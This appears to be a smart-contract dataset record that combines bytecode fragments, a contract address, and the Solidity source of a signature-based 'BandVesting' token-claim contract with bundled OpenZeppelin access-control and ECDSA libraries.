573d6000803e3d6000fd5b60008261290657506000610b8c565b600061291283856130c2565b90508261291f858361318d565b14610d725760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a40565b6129a1307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c04565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806129e86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015612a4b57600080fd5b505af1158015612a5f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119b8919061323d565b600080600080600080612a96876120d7565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612ac89088612126565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612af79087612126565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054612b269086612078565b6001600160a01b038916600090815260036020526040902055612b4881612d42565b612b528483612dca565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b9791815260200190565b60405180910390a3505050505050505050565b600080600080600080612bbc876120d7565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612bee9087612126565b6001600160a01b03808b16600090815260036020908152604080832094909455918b16815260049091522054612c249084612078565b6001600160a01b038916600090815260046020908152604080832093909355600390522054612b269086612078565b600080600080600080612c65876120d7565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612af79087612126565b600080600080600080612ca9876120d7565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612cdb9088612126565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612bee9087612126565b6000610b8c6064612207601254856128f790919063ffffffff16565b6000610b8c6064612207601554856128f790919063ffffffff16565b6000612d4c612013565b90506000612d5a83836128f7565b30600090815260036020526040902054909150612d779082612078565b3060009081526003602090815260408083209390935560079052205460ff161561108f5730600090815260046020526040902054612db59084612078565b30600090815260046020526040902055505050565b600c54612dd79083612126565b600c55600d54612de79082612078565b600d555050565b6001600160a01b038116811461135657600080fd5b600060208284031215612e1557600080fd5b8135610d7281612dee565b600060208284031215612e3257600080fd5b5035919050565b600060208083528351808285015260005b81811015612e6657858101830151858201604001528201612e4a565b81811115612e78576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612ea157600080fd5b8235612eac81612dee565b946020939093013593505050565b600080600060608486031215612ecf57600080fd5b8335612eda81612dee565b92506020840135612eea81612dee565b929592945050506040919091013590565b60008060408385031215612f0e57600080fd5b8235612f1981612dee565b91506020830135612f2981612dee565b809150509250929050565b801515811461135657600080fd5b60008060408385031215612f5557600080fd5b823591506020830135612f2981612f34565b600060208284031215612f7957600080fd5b8135610d7281612f34565b60008083601f840112612f9657600080fd5b50813567ffffffffffffffff811115612fae57600080fd5b6020830191508360208260051b8501011115612fc957600080fd5b9250929050565b60008060008060408587031215612fe657600080fd5b843567ffffffffffffffff80821115612ffe57600080fd5b61300a88838901612f84565b9096509450602087013591508082111561302357600080fd5b5061303087828801612f84565b95989497509550505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061308557607f821691505b602082108114156130a657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156130dc576130dc6130ac565b500290565b634e487b7160e01b600052603260045260246000fd5b600082821015613109576131096130ac565b500390565b634e487b7160e01b600052603160045260246000fd5b6000600019821415613138576131386130ac565b5060010190565b60006020828403121561315157600080fd5b5051919050565b60006020828403121561316a57600080fd5b8151610d7281612f34565b60008219821115613188576131886130ac565b500190565b6000826131aa57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156131c157600080fd5b8151610d7281612dee565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561321c5784516001600160a01b0316835293830193918301916001016131f7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561325257600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a7f907cf9890338f49d3af4cbf7721e417db02ca379a05a02269bac9d322256c64736f6c63430008090033
[ 13, 16, 5 ]
0xF250357B9dB9748555daa5c4617Ff5fc186E2003
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; contract BandVesting is AccessControl { bytes32 public constant SIGNER_ROLE = keccak256("SIGNER_ROLE"); address public tokenAddress; mapping(bytes32 => bool) public processedTransactions; event TokensClaimed( address indexed userAddress, uint256 tokenAmount, uint256 indexed timestamp ); constructor(address _token, address _signerAddress) { tokenAddress = _token; _setupRole(SIGNER_ROLE, _signerAddress); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } /** * @dev Claims tokens for user * @param amount Tokens amount * @param timestamp Timestamp to release tokens * @param signature Signature of params */ function claimTokens( uint256[] memory amount, uint256[] memory timestamp, bytes[] memory signature ) public { address account = _msgSender(); uint256 sum; require(amount.length == timestamp.length, "Wrong arguments!"); for (uint256 i = 0; i < signature.length; i++) { bytes32 hashedParams = keccak256( abi.encodePacked(account, amount[i], timestamp[i]) ); bool isProcessed = processedTransactions[hashedParams]; require(!isProcessed, "TokensClaim: Transaction already processed"); require( hasRole( SIGNER_ROLE, ECDSA.recover( ECDSA.toEthSignedMessageHash(hashedParams), signature[i] ) ), "TokensClaim: Transaction signature is not correct" ); processedTransactions[hashedParams] = true; emit TokensClaimed(account, amount[i], timestamp[i]); sum += amount[i]; } (bool success, ) = tokenAddress.call( abi.encodeWithSignature("mintTo(address,uint256)", account, sum) ); require(success); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80639d76ea58116100715780639d76ea5814610142578063a1ebf35d1461016d578063a217fddf14610194578063ac2e49361461019c578063c240fe44146101bf578063d547741f146101d257600080fd5b806301ffc9a7146100ae578063248a9ca3146100d65780632f2ff15d1461010757806336568abe1461011c57806391d148541461012f575b600080fd5b6100c16100bc366004610d49565b6101e5565b60405190151581526020015b60405180910390f35b6100f96100e4366004610d73565b60009081526020819052604090206001015490565b6040519081526020016100cd565b61011a610115366004610d8c565b61021c565b005b61011a61012a366004610d8c565b610247565b6100c161013d366004610d8c565b6102ca565b600154610155906001600160a01b031681565b6040516001600160a01b0390911681526020016100cd565b6100f97fe2f4eaae4a9751e85a3e4a7b9587827a877f29914755229b07a7b2da98285f7081565b6100f9600081565b6100c16101aa366004610d73565b60026020526000908152604090205460ff1681565b61011a6101cd366004610e9e565b6102f3565b61011a6101e0366004610d8c565b6106c5565b60006001600160e01b03198216637965db0b60e01b148061021657506301ffc9a760e01b6001600160e01b03198316145b92915050565b60008281526020819052604090206001015461023881336106eb565b610242838361074f565b505050565b6001600160a01b03811633146102bc5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084015b60405180910390fd5b6102c682826107d3565b5050565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b8151835133916000911461033c5760405162461bcd60e51b815260206004820152601060248201526f57726f6e6720617267756d656e74732160801b60448201526064016102b3565b60005b83518110156106125760008387838151811061035d5761035d610fea565b602002602001015187848151811061037757610377610fea565b60200260200101516040516020016103b69392919060609390931b6bffffffffffffffffffffffff191683526014830191909152603482015260540190565b60408051601f1981840301815291815281516020928301206000818152600290935291205490915060ff1680156104425760405162461bcd60e51b815260206004820152602a60248201527f546f6b656e73436c61696d3a205472616e73616374696f6e20616c7265616479604482015269081c1c9bd8d95cdcd95960b21b60648201526084016102b3565b6104df7fe2f4eaae4a9751e85a3e4a7b9587827a877f29914755229b07a7b2da98285f7061013d6104c0856040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b8987815181106104d2576104d2610fea565b6020026020010151610838565b6105455760405162461bcd60e51b815260206004820152603160248201527f546f6b656e73436c61696d3a205472616e73616374696f6e207369676e6174756044820152701c99481a5cc81b9bdd0818dbdc9c9958dd607a1b60648201526084016102b3565b6000828152600260205260409020805460ff19166001179055865187908490811061057257610572610fea565b6020026020010151856001600160a01b03167f9923b4306c6c030f2bdfbf156517d5983b87e15b96176da122cd4f2effa4ba7b8a86815181106105b7576105b7610fea565b60200260200101516040516105ce91815260200190565b60405180910390a38783815181106105e8576105e8610fea565b6020026020010151846105fb9190611016565b93505050808061060a9061102e565b91505061033f565b506001546040516001600160a01b03848116602483015260448201849052600092169060640160408051601f198184030181529181526020820180516001600160e01b03166308934a5f60e31b1790525161066d9190611079565b6000604051808303816000865af19150503d80600081146106aa576040519150601f19603f3d011682016040523d82523d6000602084013e6106af565b606091505b50509050806106bd57600080fd5b505050505050565b6000828152602081905260409020600101546106e181336106eb565b61024283836107d3565b6106f582826102ca565b6102c65761070d816001600160a01b0316601461085c565b61071883602061085c565b604051602001610729929190611095565b60408051601f198184030181529082905262461bcd60e51b82526102b39160040161110a565b61075982826102ca565b6102c6576000828152602081815260408083206001600160a01b03851684529091529020805460ff1916600117905561078f3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6107dd82826102ca565b156102c6576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b600080600061084785856109ff565b9150915061085481610a6f565b509392505050565b6060600061086b83600261113d565b610876906002611016565b67ffffffffffffffff81111561088e5761088e610dc8565b6040519080825280601f01601f1916602001820160405280156108b8576020820181803683370190505b509050600360fc1b816000815181106108d3576108d3610fea565b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061090257610902610fea565b60200101906001600160f81b031916908160001a905350600061092684600261113d565b610931906001611016565b90505b60018111156109a9576f181899199a1a9b1b9c1cb0b131b232b360811b85600f166010811061096557610965610fea565b1a60f81b82828151811061097b5761097b610fea565b60200101906001600160f81b031916908160001a90535060049490941c936109a28161115c565b9050610934565b5083156109f85760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016102b3565b9392505050565b600080825160411415610a365760208301516040840151606085015160001a610a2a87828585610c2d565b94509450505050610a68565b825160401415610a605760208301516040840151610a55868383610d1a565b935093505050610a68565b506000905060025b9250929050565b6000816004811115610a8357610a83611173565b1415610a8c5750565b6001816004811115610aa057610aa0611173565b1415610aee5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e6174757265000000000000000060448201526064016102b3565b6002816004811115610b0257610b02611173565b1415610b505760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e6774680060448201526064016102b3565b6003816004811115610b6457610b64611173565b1415610bbd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b60648201526084016102b3565b6004816004811115610bd157610bd1611173565b1415610c2a5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b60648201526084016102b3565b50565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0831115610c645750600090506003610d11565b8460ff16601b14158015610c7c57508460ff16601c14155b15610c8d5750600090506004610d11565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015610ce1573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610d0a57600060019250925050610d11565b9150600090505b94509492505050565b6000806001600160ff1b03831660ff84901c601b01610d3b87828885610c2d565b935093505050935093915050565b600060208284031215610d5b57600080fd5b81356001600160e01b0319811681146109f857600080fd5b600060208284031215610d8557600080fd5b5035919050565b60008060408385031215610d9f57600080fd5b8235915060208301356001600160a01b0381168114610dbd57600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610e0757610e07610dc8565b604052919050565b600067ffffffffffffffff821115610e2957610e29610dc8565b5060051b60200190565b600082601f830112610e4457600080fd5b81356020610e59610e5483610e0f565b610dde565b82815260059290921b84018101918181019086841115610e7857600080fd5b8286015b84811015610e935780358352918301918301610e7c565b509695505050505050565b600080600060608486031215610eb357600080fd5b833567ffffffffffffffff80821115610ecb57600080fd5b610ed787838801610e33565b9450602091508186013581811115610eee57600080fd5b610efa88828901610e33565b94505060408087013582811115610f1057600080fd5b8701601f81018913610f2157600080fd5b8035610f2f610e5482610e0f565b81815260059190911b8201850190858101908b831115610f4e57600080fd5b8684015b83811015610fd857803587811115610f6a5760008081fd5b8501603f81018e13610f7c5760008081fd5b8881013588811115610f9057610f90610dc8565b610fa2601f8201601f19168b01610dde565b8181528f89838501011115610fb75760008081fd5b818984018c83013760009181018b0191909152845250918701918701610f52565b50809750505050505050509250925092565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b6000526011